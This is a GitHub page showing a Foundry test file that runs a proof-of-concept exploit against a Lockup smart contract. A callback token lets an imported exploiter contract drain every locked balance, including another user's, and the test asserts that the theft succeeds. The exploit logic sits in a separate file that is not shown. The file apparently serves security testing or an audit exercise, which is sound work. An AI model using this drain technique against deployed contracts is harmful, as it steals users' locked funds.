-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathLockupExploit.t.sol
114 lines (96 loc) · 3.66 KB
/
LockupExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Lockup} from "../src/Lockup.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LockupExploit} from "../src/LockupExploiter.sol";
import {CallbackToken} from "../src/fixtures/CallbackToken.sol";
contract LockupExploitTest is Test {
Lockup lockup;
IERC20 token;
CallbackToken callbackToken;
LockupExploit exploiter;
address alice;
address bob;
address exploiterOwner;
function setUp() public {
// Deploy the implementation contract
Lockup lockupImplementation = new Lockup();
// Deploy the proxy contract
bytes memory initializeData = abi.encodeWithSelector(
Lockup.initialize.selector
);
ERC1967Proxy proxy = new ERC1967Proxy(
address(lockupImplementation),
initializeData
);
// Set the lockup variable to the proxy address, but cast it to the Lockup interface
lockup = Lockup(address(proxy));
callbackToken = new CallbackToken(
"CallbackToken",
"CBT",
address(this)
);
alice = makeAddr("alice");
bob = makeAddr("bob");
exploiterOwner = makeAddr("exploiterOwner");
}
function test_exploit_succeeds() public {
// Setup
exploiter = new LockupExploit(exploiterOwner);
// Create a lockup for the exploiter
uint256 lockupAmount = 10 ether;
callbackToken.mint(address(this), lockupAmount);
callbackToken.approve(address(lockup), lockupAmount);
uint256 lockupId = lockup.lockup(
IERC20(address(callbackToken)),
address(exploiter),
lockupAmount
);
// Create a lockup for alice
callbackToken.mint(address(this), lockupAmount);
callbackToken.approve(address(lockup), lockupAmount);
uint256 aliceLockupId = lockup.lockup(
IERC20(address(callbackToken)),
alice,
lockupAmount
);
// Warp time to after the lockup period
vm.warp(block.timestamp + lockup.LOCKUP_PERIOD() + 1);
// Record balances before exploit
uint256 lockupBalanceBefore = callbackToken.balanceOf(address(lockup));
uint256 exploiterBalanceBefore = callbackToken.balanceOf(
address(exploiter)
);
// Run the exploit
vm.prank(exploiterOwner);
exploiter.runExploit(address(callbackToken), address(lockup), lockupId);
// Check balances after exploit
uint256 lockupBalanceAfter = callbackToken.balanceOf(address(lockup));
uint256 exploiterBalanceAfter = callbackToken.balanceOf(
address(exploiter)
);
// Assert that the exploit was successful
assertEq(
lockupBalanceAfter,
0,
"Lockup should have 0 balance after exploit"
);
assertEq(
exploiterBalanceAfter,
lockupAmount * 2,
"Exploiter should have double the initial lockup amount"
);
// Try to claim as Alice (should fail as tokens were stolen)
uint256[] memory ids = new uint256[](1);
ids[0] = aliceLockupId;
vm.prank(alice);
vm.expectRevert();
lockup.claim(ids);
// Withdraw ERC20 from exploiter
vm.prank(exploiterOwner);
exploiter.withdrawErc20(address(callbackToken), lockupAmount *2);
}
}